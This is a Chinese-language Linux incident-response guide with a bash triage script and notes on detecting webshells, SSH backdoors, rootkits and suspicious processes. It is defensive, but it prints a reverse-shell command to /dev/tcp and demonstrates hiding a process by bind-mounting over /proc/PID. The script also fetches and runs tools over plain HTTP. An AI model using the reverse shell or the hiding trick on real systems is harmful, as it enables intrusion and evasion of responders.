此脚本用于简化应急响应过程,主要是针对CentOS系统应急响应的一些基础项,如下所示:

1)系统负载、内存占用、CPU使用率高的进程

2)系统初始化调用

3)定时任务

4)监听端口、主动外连(高并发机器慎用)

5)777目录下的可执行文件

6)系统命令替换

7)SSH登录成功和失败IP

8)调用河马检测最近修改的jsp文件

9)调用rkhunter查杀Rootkit

 

脚本如下:

#!/bin/bash
#**************************************1********************
#  Author: Vinc
#  Mail: 776711462@qq.com
#  Time: 2018.6.13
#  Description: For CentOS System
#**********************************************************

#mtime of jsp file 
WEBSHELLCHECK=1
#application dir
WEBDIR=/web/jboss/dir/
#mtime of the system command
BINCHECK=5
#mtime of sysinit
INITCHECK=5

Finittab5(){
    echo "***************System Init Check***************"
    echo "------------------------------------------------------"
    echo "/etc/inittab"
    stat /etc/inittab | grep "Modify"
    echo "------------------------------------------------------"
    echo "/etc/rc.d/rc.sysinit"
    stat /etc/rc.d/rc.sysinit | grep "Modify"
    echo "------------------------------------------------------"
    echo "modified files under the /etc/rc.d/init.d/ directory:"
    find /etc/rc.d/init.d -mtime -${INITCHECK}
    echo "------------------------------------------------------"
    echo "/etc/rc.d/rc.local"
    stat /etc/rc.d/rc.local | grep "Modify"
    echo "------------------------------------------------------"
}

Finittab6(){
    echo "***************System Init Check***************"
    echo "------------------------------------------------------"
    echo "modified files under the /etc/init/ directory:"
    find /etc/init/ -name "*.conf" -mtime -${INITCHECK} 
    echo "------------------------------------------------------"
    echo "/etc/rc.d/rc.sysinit"
    stat /etc/rc.d/rc.sysinit | grep "Modify"
    echo "------------------------------------------------------"
    echo "modified files under the /etc/rc.d/init.d/ directory:"
    find /etc/rc.d/init.d/ -mtime -${INITCHECK} 
    echo "------------------------------------------------------"
    echo "/etc/rc.d/rc.local"
    stat /etc/rc.d/rc.local | grep "Modify"
    echo "------------------------------------------------------"
}

Finittab7(){
    echo "***************System Init Check***************"
    echo "------------------------------------------------------"
    echo "modified files under the /usr/lib/systemd/system/ directory:"
    find /usr/lib/systemd/system/ -maxdepth 1 -name "*.service" -mtime -${INITCHECK}
    echo "------------------------------------------------------"
    echo "modified files under the /etc/systemd/system/ directory:"	
    find /etc/systemd/system/ -maxdepth 1 -name "*.service" -mtime -${INITCHECK}
    echo "------------------------------------------------------"
    echo "modified files under the /etc/rc.d/init.d/ directory:"
    find /etc/rc.d/init.d -mtime -${INITCHECK} -type f 
    echo "------------------------------------------------------"
    echo "/etc/rc.d/rc.local"
    stat /etc/rc.d/rc.local | grep "Modify"
    echo "------------------------------------------------------"
}

Fcrontab(){
    echo "***************Crontab Check***************"
    echo "------------------------------------------------------"
    for file in $(ls /var/spool/cron/)
        do
            echo "/var/spool/cron/${file}"
            cat /var/spool/cron/${file} | grep -v "^$" | grep -v "^#"
            echo "------------------------------------------------------"
        done
    echo "/etc/crontab"
    cat /etc/crontab | grep -v "^$" | grep -v "^#"
    echo "------------------------------------------------------"
    echo "/etc/anacrontab"
    cat /etc/anacrontab | grep -v "^$" | grep -v "^#"
    echo "------------------------------------------------------"
    for file in $(find /etc -name "cron.*" -type d)
        do
            echo "${file}"
            ls -alt ${file} | grep '^-' 
            echo "------------------------------------------------------"
        done
}

Fnetlink(){
    echo "***************Netstat Check***************"
    echo "------------------------------------------------------"
    echo "Listening port list:"
    netstat -antlp -A inet | grep LISTEN | awk '{printf "%-20s %-20s\n",$4,$7}'
    echo "------------------------------------------------------"
    echo "The connection initiated by the machine:"
    regstr="("
    for port in $(netstat -antlp -A inet | grep LISTEN | awk -F '[ :]+' '{print $5}')
    do
        regstr="${regstr}${port}|"
    done
    regstr="${regstr%?})"
    regExternal="^((192\.168|172\.([1][6-9]|[2][0-9]|3[01]))(\.([2][0-4][0-9]|[2][5][0-5]|[01]?[0-9]?[0-9])){2}|10(\.([2][0-4][0-9]|[2][5][0-5]|[01]?[0-9]?[0-9])){3})$"
    netstat -antlp -A inet | grep -v '127.0.0.1' | grep ESTABLISHED | awk -F '[ :]+' '{if($5 !~ /'$regstr'/)print $0}' | while read link 
    do
        echo $link | awk -F '[ :]+' '{print $6}' | egrep -v $regExternal >> /dev/null
        if [ $? -eq 0 ];then
            echo $link | awk '{print $4" "$5" "$7}'
        fi
    done
    echo "------------------------------------------------------"
}

FSensitiveDir(){
    echo "***************Sensitive Directory Check(/tmp、/var/tmp、/dev/shm)***************"
    ls /proc/ -tr | grep -v "[a-z]" | while read line
    do
        if [ -d "/proc/$line" ];then
            pname=`readlink /proc/$line/exe`
            echo $pname | egrep '^/(tmp|var/tmp|dev/shm)' >> /dev/null
            if [ $? -eq 0 ];then
                printf "%-20s %-20s\n" $line $pname
            fi
        fi
    done
}

FModifyFile(){
    echo "***************System Command Check(/bin、/sbin、/usr/bin、/usr/sbin)***************"
    echo "------------------------------------------------------"
    echo "The binary files that are modified within ${BINCHECK} days:"
    find /bin/ /sbin/ /usr/sbin/ /usr/bin/ -mtime -${BINCHECK} -type f | while read line
    do
        echo $line
    done
    echo "------------------------------------------------------"
    echo "RPM consistency check:"
    rpm -aV
    echo "------------------------------------------------------"
}

FSshLogin(){
    echo "***************Ssh Login Check***************"
    echo "------------------------------------------------------"
    echo "List of successful IPs for SSH login:"
    grep 'Accepted' /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr
    echo "------------------------------------------------------"
    echo "List of failed IPs for SSH login:"
    grep 'Failed' /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr
    echo "------------------------------------------------------"
}

FLoad(){
    echo "***************System Information***************"
    echo "------------------------------------------------------"
    echo "load average:"
    uptime | awk '{print $10,$11,$12}'
    echo "------------------------------------------------------"
    echo "Memory usage:"
    free -g | grep Mem | awk '{print "Total Mem:"$2"G"}'
    free -g | grep buffers/cache | awk '{print "Used Mem:"$3"G"}'
    echo "------------------------------------------------------"
    echo "The process of CPU usage over 50%:"
    ps aux | sort -rn -k +3 | awk '{if(($3>50))print $0}'
    echo "------------------------------------------------------"
}

FWebshellCheck(){
    echo "***************WebShell Check(hm)***************"
    echo "Jsp files that are modified within ${WEBSHELLCHECK} days:"
    modifydir=/tmp/$(date +%s)/
    mkdir $modifydir
    ls ${WEBDIR} | while read project
    do
        if [ -f ${WEBDIR}${project}/conf/server.xml ];then
            cat "${WEBDIR}${project}/conf/server.xml" | egrep -o 'docBase=".*"' | awk -F '"' '{print $2}' | while read line
            do
                find $line -name '*.jsp' -mtime -${WEBSHELLCHECK}  | while read fname
                do
                    modifyfile=$(echo $fname | sed 's/\//@/g')
                    cp ${fname} ${modifydir}${modifyfile}
                done
            done
        fi
    done
    filecount=$(ls -al ${modifydir} | grep '^-' | wc -l)
    echo "Dir: ${modifydir}"
    echo "JSP files to be detected: ${filecount}"
    if ((${filecount}>0));then
        if [ ! -f /tmp/hm-linux.tgz ];then
            echo "Download the webshell check tool"
            if [ ${bit} -eq 64 ];then
                wget -O /tmp/hm-linux.tgz http://down.shellpub.com/hm/latest/hm-linux-amd64.tgz?version=1.4.2 
            elif [ ${bit} -eq 32 ];then
                wget -O /tmp/hm-linux.tgz http://down.shellpub.com/hm/latest/hm-linux-386.tgz?version=1.4.2 
            fi 
        fi
        [ ! -d /tmp/hmwebshell ] && mkdir /tmp/hmwebshell 
        tar zxvf /tmp/hm-linux.tgz -C /tmp/hmwebshell >> /dev/null
        [ -f /tmp/hmwebshell/hm ] && /tmp/hmwebshell/hm scan ${modifydir} >> /dev/null
        if [ -f result.csv ];then
            count=$(cat result.csv | wc -l)
            if [ ${count} -gt 1 ];then
                echo "The suspicious files are as follows: "
                cat result.csv | egrep '^[0-9]' | awk -F ',' '{print $3}' | awk -F '/' '{print $4}' | sed 's/@/\//g'
            else
                echo "No suspicious files were found"
            fi
        fi
    fi
    rm -rf ${modifydir}
}

FRootkitCheck(){
    echo "***************Rootkit Check***************"
    if [ ! -f /usr/local/bin/rkhunter ];then
        echo "Install rkhunter"
        [ ! -f /tmp/rkhunter-1.4.6.tar.gz ] && wget -O /tmp/rkhunter-1.4.6.tar.gz http://vinc.top/tools/rkhunter-1.4.6.tar.gz
        tar zxvf /tmp/rkhunter-1.4.6.tar.gz && cd /tmp/rkhunter-1.4.6/ && ./installer.sh --install 
    fi
    /usr/local/bin/rkhunter --check -sk
}

ver=$(cat /etc/redhat-release | grep -E -o [0-9.]+ | cut -d . -f 1)
bit=$(getconf LONG_BIT)

FLoad
FSshLogin
FSensitiveDir
FModifyFile
Fcrontab
Fnetlink
case $ver in     
    5)   
    Finittab5
    ;;      
    6)
    Finittab6
    ;;
    7)
    Finittab7
    ;;
esac     
FWebshellCheck
FRootkitCheck

 

 

0x01 Web服务


一般如果网络边界做好控制,通常对外开放的仅是Web服务,那么需要先找到Webshell,可以通过如下途径:

1)检查最近创建的php、jsp文件和上传目录

例如要查找24小时内被修改的JSP文件:

find ./ -mtime 0 -name "*.jsp"

2)使用Webshell查杀工具

Windows下D盾等,Linux下河马等。

3)与测试环境目录做对比

diff -r {生产dir} {测试dir}

4)创建Audit审计规则

vim /etc/audit/audit.rules

-a exclude,always -F msgtype=CONFIG_CHANGE

-a exit,always -F arch=b64 -F uid=48 -S execve -k webshell

产生日志如下:

type=SYSCALL msg=audit(1505888691.301:898615): arch=c000003e syscall=59 success=yes exit=0 a0=ca5188 a1=cb5ec8 a2=cb5008 a3=8 items=2 ppid=26159 pid=26160 auid=0 uid=48 gid=48 euid=48 suid=48 fsuid=48 egid=48 sgid=48 fsgid=48 tty=(none) ses=120028 comm="ls" exe="/bin/ls" subj=unconfined_u:system_r:httpd_t:s0 key="webshell"

type=EXECVE msg=audit(1505888691.301:898615): argc=1 a0="ls"

type=CWD msg=audit(1505888691.301:898615):  cwd="/var/www/html/dvwa"

type=PATH msg=audit(1505888691.301:898615): item=0 name="/bin/ls" inode=2359385 dev=fd:00 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:bin_t:s0 nametype=NORMAL

type=PATH msg=audit(1505888691.301:898615): item=1 name=(null) inode=1441842 dev=fd:00 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:ld_so_t:s0 nametype=NORMAL

可以看到所在目录为/var/www/html/dvwa

具体Auditd的使用可以看我这篇文章

【企业安全实战】Web中间件EXECVE审计

 

如果没有通过上述途径找到Webshell,可以通过Access Log获取一些信息。

1)扫描特征

通常入侵行为会伴随着踩点和扫描行为,那么可以查一下具有扫描行为的日志。

例如使用AWVS扫描:

grep 'acunetix' /var/log/httpd/access_log

例如使用sqlmap,但是没有使用–random-agent,UA中带有sqlmap

grep 'sqlmap' /var/log/httpd/access_log

2)孤立页面

referer为 – 的php页面

3)Content-Length

攻击者打包回传,过滤Content-Length大于5M的日志

awk '{if($10>5000000){print $0}}' /var/log/httpd/access_log

需要注意这里如果发现疑似Webshell文件,先用stat记录下时间点,不要直接用vim查看编辑文件内容,这样会更改文件的mtime,对于应急响应来说,时间点很重要。对比时间点更容易在Log找到其他的攻击痕迹。

 

0x02 SSH服务


登录成功:

grep 'Accepted' /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr

或者

last,它会读取位于/var/log/wtmp的文件

 

登录失败:

grep 'Failed' /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr

或者

lastb,会读取位于/var/log/btmp的文件

 

检查SSH后门方式:

1)比对ssh的版本

ssh -V

2)查看ssh配置文件和/usr/sbin/sshd的时间

stat /usr/sbin/sshd

3)strings检查/usr/sbin/sshd,看是否有邮箱信息

strings可以查看二进制文件中的字符串,在应急响应中是十分有用的。有些sshd后门会通过邮件发送登录信息,通过

strings /usr/sbin/sshd

可以查看到邮箱信息。

4)通过strace监控sshd进程读写文件的操作

一般的sshd后门都会将账户密码记录到文件,可以通过strace进程跟踪到ssh登录密码文件。

ps axu | grep sshd | grep -v grep

root 65530 0.0 0.1 48428 1260 ? Ss 13:43 0:00 /usr/sbin/sshd

strace -o aa -ff -p 65530

grep open aa* | grep -v -e No -e null -e denied| grep WR

aa.102586:open("/tmp/ilog", O_WRONLY|O_CREAT|O_APPEND, 0666) = 4

 

0x03 进程


检查是否存在可疑进程,需要注意如果攻击者获取到了Root权限,被植入内核或者系统层Rootkit的话,进程可能会隐藏。

1)系统负载

例如挖矿程序特征就是系统负载高。使用Top命令查看

按照CPU排序:Shift+P

按照MEM排序:Shift+M

2)启动时间

与前面找到的Webshell时间点比对。

3)启动权限

这点很重要,比如某次应急中发现木马进程都是mysql权限执行的,如下所示:

mysql    63763 45.3  0.0  12284  9616 ?        R    01:18 470:54 ./db_temp/dazui.4

mysql    63765  0.0  0.0  12284  9616 ?        S    01:18   0:01 ./db_temp/dazui.4

mysql    63766  0.0  0.0  12284  9616 ?        S    01:18   0:37 ./db_temp/dazui.4

mysql    64100 45.2  0.0  12284  9616 ?        R    01:20 469:07 ./db_temp/dazui.4

mysql    64101  0.0  0.0  12284  9616 ?        S    01:20   0:01 ./db_temp/dazui.4

那基本可以判断是通过Mysql入侵,重点排查Mysql弱口令、UDF提权等。

4)父进程

例如我在菜刀中反弹Bash

[root@server120 html]# ps -ef | grep '/dev/tcp' | grep -v grep

apache   26641  1014  0 14:59 ?        00:00:00 sh -c /bin/sh -c "cd /root/apache-tomcat-6.0.32/webapps/ROOT/;bash -i >& /dev/tcp/192.168.192.144/2345 0>&1;echo [S];pwd;echo [E]" 2>&1

父进程进程号1014

[root@server120 html]# ps -ef | grep 1014

apache    1014  1011  0 Sep19 ?        00:00:00 /usr/sbin/httpd

可以看到父进程为apache,就可以判断攻击者通过Web入侵。

 

lsof -p pid:查看可疑进程打开的文件

例如之前遇到的十字病毒,会修改ps和netstat显示的进程名称

udp        0      0 0.0.0.0:49937               0.0.0.0:*                               131683/ls -la

udp        0      0 0.0.0.0:47584               0.0.0.0:*                               116515/ifconfig

很明显的异常,ls和ifconfig不会存在监听行为。

[root@DataNode105 admin]# lsof -p 131683

COMMAND      PID USER   FD   TYPE    DEVICE SIZE/OFF     NODE NAME

hahidjqzx 131683 root  cwd    DIR      8,98     4096 18087937 /root

hahidjqzx 131683 root  rtd    DIR      8,98     4096        2 /

hahidjqzx 131683 root  txt    REG      8,98   625622 24123895 /usr/bin/hahidjqzxs

可疑看到真正的可执行文件是/usr/bin/hahidjqzxs

file:查看文件类型:

[root@server120 tmp]# file .zl

zl: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped

strings:显示二进制的文件中可读字符

[root@server120 tmp]# strings .zl

rm -f /boot/IptabLes ; rm -f /boot/.IptabLes ; rm -f /boot/IptabLex ; rm -f /boot/.IptabLex ; rm -f /usr

/IptabLes ; rm -f /usr/.IptabLes ; rm -f /usr/IptabLex ; rm -f /usr/.IptabLex

netstat -anp | grep "IptabLes" |awk '{print $NF}' |cut -d "/" -f 1 | xargs kill -9 > /dev/null ;free -m

> /dev/null

netstat -anp | grep "IptabLex" |awk '{print $NF}' |cut -d "/" -f 1 | xargs kill -9 > /dev/null ;free -m

> /dev/null

例如之前应急遇到的命令替换,通过Strings查看发现有大量的IP地址,就是明显的异常现象。

[root@i-9kp9tipm log]# strings /usr/bin/.sshd | egrep '[1-9]{1,3}\.[1-9]{1,3}\.'

8.8.8.8

8.8.4.4

8.8.8.8

61.132.163.68

202.102.192.68

202.102.213.68

58.242.2.2

202.38.64.1

211.91.88.129

211.138.180.2

218.104.78.2

202.102.199.68

202.175.3.3

 

0x04 网络连接


需要注意如果攻击者获取到了Root权限,被植入内核或者系统层Rootkit的话,连接可能会被隐藏。

netstat -antlp | grep ESTABLISHED

查看已经建立的网络连接,例如反弹bash

[root@server120 html]# netstat -antlp | grep EST | grep bash

tcp        0      0 192.168.192.120:41320       192.168.192.144:2345        ESTABLISHED 26643/bash

 

netstat -antlp | grep LISTEN

检查可以监听端口,例如攻击者在本地开启sock5代理,然后使用SSH反弹sock5。

[root@server120 html]# netstat -antlp | grep LISTEN | grep 1080

tcp        0      0 0.0.0.0:1080                0.0.0.0:*                   LISTEN      26810/python

 

[root@template tmp]# lsof -i:80

COMMAND   PID   USER   FD   TYPE DEVICE SIZE/OFF NODE NAME

nginx   15608   root    6u  IPv4 958629      0t0  TCP *:http (LISTEN)

nginx   23814 nobody    6u  IPv4 958629      0t0  TCP *:http (LISTEN)

 

0x05 敏感目录


/tmp, /var/tmp, /dev/shm,所有用户都可读,可写,可执行

[root@server120 ~]# ls -ald /tmp/

drwxrwxrwt. 10 root root 4096 9月  20 09:41 /tmp/

[root@server120 ~]# ls -ald /var/tmp/

drwxrwxrwt. 2 root root 4096 9月  18 16:57 /var/tmp/

[root@server120 ~]# ls -ald /dev/shm

drwxrwxrwt. 3 root root 60 9月   1 10:23 /dev/shm

 

0x06 history


默认的history仅记录执行的命令,然而这些对于应急来说是不够的,很多系统加固脚本会添加记录命令执行的时间,修改记录的最大条数。
另外之前写的关于Bash审计方式也很推荐,链接:

【企业安全实战】运维Bash命令审计

 

0x07 开机启动


【应急响应】开机启动知识梳理

 

0x08 定时任务


【应急响应】定时任务知识梳理

 

0x09 Rootkit


Rootkit功能通常有隐藏文件、进程、连接、模块,网络嗅探,后门,日志擦除,键盘记录(SSH密码记录)等。

检查命令替换,比较直观的方式就是比较命令的大小和mtime了。

1)比对命令的大小

例如正常的ps和netstat大小

[root@vincent tmp]# ll /bin/ps

-rwxr-xr-x 1 root root 87112 11月 15 2012 /bin/ps

[root@vincent tmp]# ll /bin/netstat

-rwxr-xr-x 1 root root 128216 5月  10 2012 /bin/netstat

下面是其中有一次应急时的记录

[root@DataNode110 admin]# ls -alt /bin/ | head -n 10

total 10836

-rwxr-xr-x   1 root root   625633 Aug 17 16:26 tawlqkazpu

dr-xr-xr-x.  2 root root     4096 Aug 17 16:26 .

-rwxr-xr-x   1 root root  1223123 Aug 17 11:30 ps

-rwxr-xr-x   1 root root  1223123 Aug 17 11:30 netstat

可以看到ps和netstat是一样大的。

2)查看命令的修改时间,按修改时间排序

ls -alt /bin/ | head -n 5

 

而比较全面的检测方式有:

1)rpm -aV

RPM Database 不仅提供了 RPM 包的查询功能,还提供了对已安装的 RPM 包进行验证的功能。默认情况下,RPM Database 存放在 /var/lib/rpm 目录。

需要注意这条命令局限性就是只能检查通过RPM包安装的所有文件。另外为了防止rpm也被替换,上传一个安全干净稳定版本rpm二进制到服务器上进行检查。

我们可以对系统中所有 RPM 文件做一个全面检查

[root@vincenthostname tmp]# rpm -aV

S.?....T.    /bin/ps

...

输出标记含义如下:

S: 表示文件长度发生了变化

M: 表示文件的访问权限或文件类型发生了变化

5: 表示MD5校验和发生了变化。

D: 表示设备节点的属性发生了变化

L: 表示文件的符号链接发生率变化

U: 表示文件/子目录/设备节点的owner发生了变化

G: 表示文件/子目录/设备节点的group发生了变化

T: 表示文件最后一次的修改时间发生了变化

可以看到使用rpm的方式同样可以检查出文件长度和mtime的改变。

列出某个文件是否被改动过:

[root@localhost cron.daily]# rpm -Vf /bin/bash

S.5....T.    /bin/bash

 

2)使用chkrootkit和rkhunter查看

rkhunter与chkrootkit的安装测试(rootkit kbeast环境)

 

0x10 病毒检测


https://x.threatbook.cn/

http://www.virscan.org

https://www.virustotal.com/

https://fireeye.ijinshan.com/

 

0x11 文件权限


一般是使用chattr或者setfacl来设置权限。

chattr可以修改属性能够提高系统的安全性,但是它并不适合所有的目录。chattr命令不能保护/、/dev、/tmp、/var目录,常用参数如下:

a:即append,设定该参数后,只能向文件中添加数据,而不能删除,多用于服务器日志文件安全,只有root才能设定这个属性。

i:设定文件不能被删除、改名、设定链接关系,同时不能写入或新增内容。i参数对于文件 系统的安全设置有很大帮助。

s:保密性地删除文件或目录,即硬盘空间被全部收回。

u:与s相反,当设定为u时,数据内容其实还存在磁盘中,可以用于undeletion。

例子:

设置/etc/resolv.conf为不可修改

[root@vincent tmp]# chattr +i /etc/resolv.conf

[root@vincent tmp]# lsattr /etc/resolv.conf

----i--------e- /etc/resolv.conf

[root@vincent tmp]# echo "" > /etc/resolv.conf

-bash: /etc/resolv.conf: 权限不够

可以使用lsattr查看文件权限

[root@vincent tmp]# lsattr 1.txt

-----a-------e- 1.txt

 

setfacl其实是设置文件的访问控制列表,传统的 Linux 文件系统的权限控制是通过 user、group、other 与 r(读)、w(写)、x(执行) 的不同组合来实现的,同时存在不灵活的问题, 例如目录 /data 的权限为:drwxr-x—,所有者与所属组均为 root,在不改变所有者的前提下,要求用户 tom 对该目录有完全访问权限 (rwx).考虑以下2种办法 (这里假设 tom 不属于 root group)

(1) 给 /data 的 other 类别增加 rwx permission,这样由于 tom 会被归为 other 类别,那么他也将拥有 rwx 权限。

(2) 将 tom 加入到 root group,为 root group 分配 rwx 权限,那么他也将拥有 rwx 权限。

以上 2 种方法其实都不合适,为了解决这些问题,Linux 开发出了一套新的文件系统权限管理方法,叫文件访问控制列表 (Access Control Lists, ACL)。简单地来说,ACL 就是可以设置特定用户或者用户组对于一个文件的操作权限。文件的所有者以及有CAP_FOWNER(在目前的linux系统上,root用户是唯一有CAP_FOWNER能力的用户)的用户进程可以设置一个文件的acl。ACL 有两种,一种是access ACL,针对文件和目录设置访问控制列表。一种是default ACL,只能针对目录设置。如果目录中的文件没有设置 ACL,它就会使用该目录的默认 ACL.

getfacl获取文件权限

[root@vincent tmp]# getfacl 1.cap

# file: 1.cap

# owner: root

# group: root

user::rw-

group::r--

other::r--

 

setfacl设置Access ACL

比如我设置/tmp/1.sh的other权限为000,然后切换到vinc账户。

[vinc@vincent tmp]$ cat 1.sh

cat: 1.sh: 权限不够

然后我们添加ACL

[root@vincent opt]# setfacl -m u:vinc:rwx /tmp/1.sh

然后我们使用ll查看,发现第一个字段文件权限第十位变成了+号

[root@vincent tmp]# ll 1.sh

-rwxrwx---+ 1 root root 512 8月   9 03:21 1.sh

然后我们使用getfacl查看

[vinc@vincent tmp]$ getfacl 1.sh

# file: 1.sh

# owner: root

# group: root

user::rwx

user:vinc:rwx

group::r-x

mask::rwx

other::---

我们切换到vinc账户就可以查看内容了

[vinc@vincent tmp]$ cat 1.sh

test

删除这条ACL

[root@vincent tmp]# setfacl -x u:vinc /tmp/1.sh

取消所有的ACL

[root@vincent tmp]# setfacl -b /tmp/1.sh

 

default acl是指对于一个目录进行default acl设置,并且在此目录下建立的文件都将继承此目录的acl。

[root@vincent opt]# setfacl -d -m u:hehe:--- 1

来看下目录1的权限

[root@vincent opt]# getfacl -c 1

user::rwx

group::r-x

other::r-x

default:user::rwx

default:user:hehe:---

default:group::r-x

default:mask::r-x

default:other::r-x

我们在目录1下新建的文件都将继承这个权限。我们在目录1下新建一个文件,然后查看一下ACL

[vinc@vincent 1]$ getfacl 222

# file: 222

# owner: vinc

# group: vinc

user::rw-

user:hehe:---

group::r-x                   #effective:r--

mask::r--

other::r--

切换到hehe账户,查看文件,提示权限不够。

[hehe@vincent 1]$ cat /opt/1/222

cat: /opt/1/222: 权限不够

 

[root@server120 init]# nc -vv -l -p 2345 &
[root@server120 init]# ps axu | grep 3533 | grep -v grep
root 3533 0.0 0.0 103020 792 pts/1 S 13:46 0:00 nc -vv -l -p 2345
[root@server120 tmp]# netstat -antlp | grep 2345
tcp 0 0 0.0.0.0:2345 0.0.0.0:* LISTEN 3533/nc 
[root@server120 tmp]# lsof -i:2345
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
nc 3533 root 3u IPv4 1753126 0t0 TCP *:dbm (LISTEN)

创建文件夹

[root@server120 tmp]# mkdir /tmp/empty
[root@server120 tmp]# mount --bind /tmp/empty/ /proc/3533
mount: block device /tmp/empty is write-protected, mounting read-only
mount: cannot mount block device /tmp/empty read-only

挂不上,一想是因为前几天测试sudo提权的时候把selinux打开了

[root@server120 tmp]# getenforce 
Enforcing
[root@server120 tmp]# setenforce 0
[root@server120 tmp]# mount --bind /tmp/empty/ /proc/3533

然后再看一下,ps和netstat看不到了。

[root@server120 tmp]# ps axu | grep 3533 | grep -v grep
[root@server120 tmp]# netstat -antlp | grep 2345
tcp 0 0 0.0.0.0:2345 0.0.0.0:* LISTEN - 
[root@server120 tmp]# lsof -i:2345
[root@server120 tmp]#

大小变成了4096

[root@server120 tmp]# ls -ld /proc/3533
drwxr-xr-x. 2 root root 4096 7月 21 14:02 /proc/3533

修复:

[root@server120 tmp]# umount /proc/3533

检查mount:
1)/proc/mounts

[root@server120 tmp]# cat /proc/mounts | grep 3533
/dev/mapper/vg_template1-lv_root /proc/3533 ext4 rw,seclabel,relatime,barrier=1,data=ordered 0 0

2)/proc/$$/mountinfo

[root@server120 tmp]# cat /proc/$$/mountinfo | grep 3533
29 16 253:0 /tmp/empty /proc/3533 rw,relatime - ext4 /dev/mapper/vg_template1-lv_root rw,seclabel,barrier=1,data=ordered

3)mount -l

[root@server120 tmp]# mount -l | grep 3533
/tmp/empty on /proc/3533 type none (rw,bind)

因为mount -l 读取的是/etc/mtab,可以直接删除该条目。所以使用1)和2)更靠谱。

参考文章:
http://www.freebuf.com/articles/network/140535.html

在应急响应时,开机启动项是必查的项,下面梳理一下关于开机启动与服务相关需要排查的点。直接从init开始说。
RHEL5、RHEL6、RHEL7的init系统分别为SysV init、Upstart、Systemd

CentOS 5


启动流程如下:

1)加载BIOS的硬件信息与进行自我测试,并依据设置取得第一个可启动设备;

2)读取并执行第一个启动设备内MBR(主引导分区)的Boot Loader(即是gurb等程序);

3)依据Boot Loader的设置加载Kernel,Kernel会开始检测硬件与加载驱动程序;

4)在硬件驱动成功后,Kernel会主动调用init进程(/sbin/init),init的配置文件/etc/inittab;

5)init执行/etc/rc.d/rc.sysinit文件来准备软件的操作环境(如网络、时区等);

6)init执行runlevel的各个服务的启动(script方式);

7)init执行/etc/rc.d/rc.local文件;

8)init执行终端机模拟程序mingetty来启动login程序,最后等待用户登录。

init程序会读取init的配置文件/etc/inittab,并依据此文件来进行初始化工作。/etc/inittab文件主要作用是指定运行级别,执行系统初始化脚本(/etc/rc.d/rc.sysinit),启动相应运行级别下的服务和启动终端。

[root@jianshe_28 admin]# cat /etc/inittab
#
# inittab This file describes how the INIT process should set up
# the system in a certain run-level.
#
# Author: Miquel van Smoorenburg, <miquels@drinkel.nl.mugnet.org>
# Modified for RHS Linux by Marc Ewing and Donnie Barnes
#

# Default runlevel. The runlevels used by RHS are:
# 0 - halt (Do NOT set initdefault to this)
# 1 - Single user mode
# 2 - Multiuser, without NFS (The same as 3, if you do not have networking)
# 3 - Full multiuser mode
# 4 - unused
# 5 - X11
# 6 - reboot (Do NOT set initdefault to this)
# 
id:3:initdefault:

# System initialization.
si::sysinit:/etc/rc.d/rc.sysinit

l0:0:wait:/etc/rc.d/rc 0
l1:1:wait:/etc/rc.d/rc 1
l2:2:wait:/etc/rc.d/rc 2
l3:3:wait:/etc/rc.d/rc 3
l4:4:wait:/etc/rc.d/rc 4
l5:5:wait:/etc/rc.d/rc 5
l6:6:wait:/etc/rc.d/rc 6

# Trap CTRL-ALT-DELETE
ca::ctrlaltdel:/sbin/shutdown -t3 -r now

# When our UPS tells us power has failed, assume we have a few minutes
# of power left. Schedule a shutdown for 2 minutes from now.
# This does, of course, assume you have powerd installed and your
# UPS connected and working correctly. 
pf::powerfail:/sbin/shutdown -f -h +2 "Power Failure; System Shutting Down"

# If power was restored before the shutdown kicked in, cancel it.
pr:12345:powerokwait:/sbin/shutdown -c "Power Restored; Shutdown Cancelled"



# Run gettys in standard runlevels
1:2345:respawn:/sbin/mingetty tty1
2:2345:respawn:/sbin/mingetty tty2
3:2345:respawn:/sbin/mingetty tty3
4:2345:respawn:/sbin/mingetty tty4
5:2345:respawn:/sbin/mingetty tty5
6:2345:respawn:/sbin/mingetty tty6

# Run xdm in runlevel 5
x:5:respawn:/etc/X11/prefdm -nodaemon

inittab文件中的值都是如下格式:
id:runlevel:action:process

id:
id是指入口标识符,他是个字符串,对于getty、mingetty等,需求id和tty的编号相同,否则getty将不能正常工作。

runlevel:
指定runlevel的级别。能指定多个runlevel级别,也能不为runlevel字段指定特定的值。
运行级别决定了系统启动的绝大部分行为和目的。这个级别从0到6,具有不同的功能。不同的运行级定义如下:

# 0 - 停机(千万别把initdefault设置为0,否则系统永远无法启动)
# 1 - 单用户模式
# 2 - 多用户,没有 NFS
# 3 - 完全多用户模式(标准的运行级)
# 4 - 系统保留的
# 5 - X11 (x window)
# 6 - 重新启动

action:

定义了该进程应该运行在何种状态下,其中action常用的种类有:

wait:切换至某级别运行一次process

respawn:此process终止的话,就重新启动之 initdefault:设置默认运行级别的,process省略

sysinit:设定系统初始化方式,此处一般指定为:/etc/rc.d/rc.sysinit

process:包含init执行的进程

下面看一下具体的配置

id:3:initdefault:

设置runlevel

si::sysinit:/etc/rc.d/rc.sysinit

执行了/etc/rc.d/rc.sysinit,一个shell脚本,他主要是完成一些系统初始化的工作,例如激活交换分区,检查磁盘,加载硬件模块及其他一些需要优先执行任务。

l0:0:wait:/etc/rc.d/rc 0
l1:1:wait:/etc/rc.d/rc 1
l2:2:wait:/etc/rc.d/rc 2
l3:3:wait:/etc/rc.d/rc 3
l4:4:wait:/etc/rc.d/rc 4
l5:5:wait:/etc/rc.d/rc 5
l6:6:wait:/etc/rc.d/rc 6
/etc/rc.d/rc是个shell脚本,接受runlevel参数,去执行该runlevel目录下的所有的rc启动脚本。以启动级别为3为例,/etc/rc.d/rc3.d/其实都是一些链接文件,真正的rc启动脚本实际上都是放在/etc/rc.d/init.d/目录下。而这些rc启动脚本有着类似的用法,他们一般能接受start、stop、restart、status等参数。

[root@localhost init.d]# ll /etc/rc.d/rc3.d/
lrwxrwxrwx. 1 root root 16 Jul 13 15:04 K01smartd -> ../init.d/smartd
lrwxrwxrwx. 1 root root 16 Jul 13 15:05 S11auditd -> ../init.d/auditd
.....

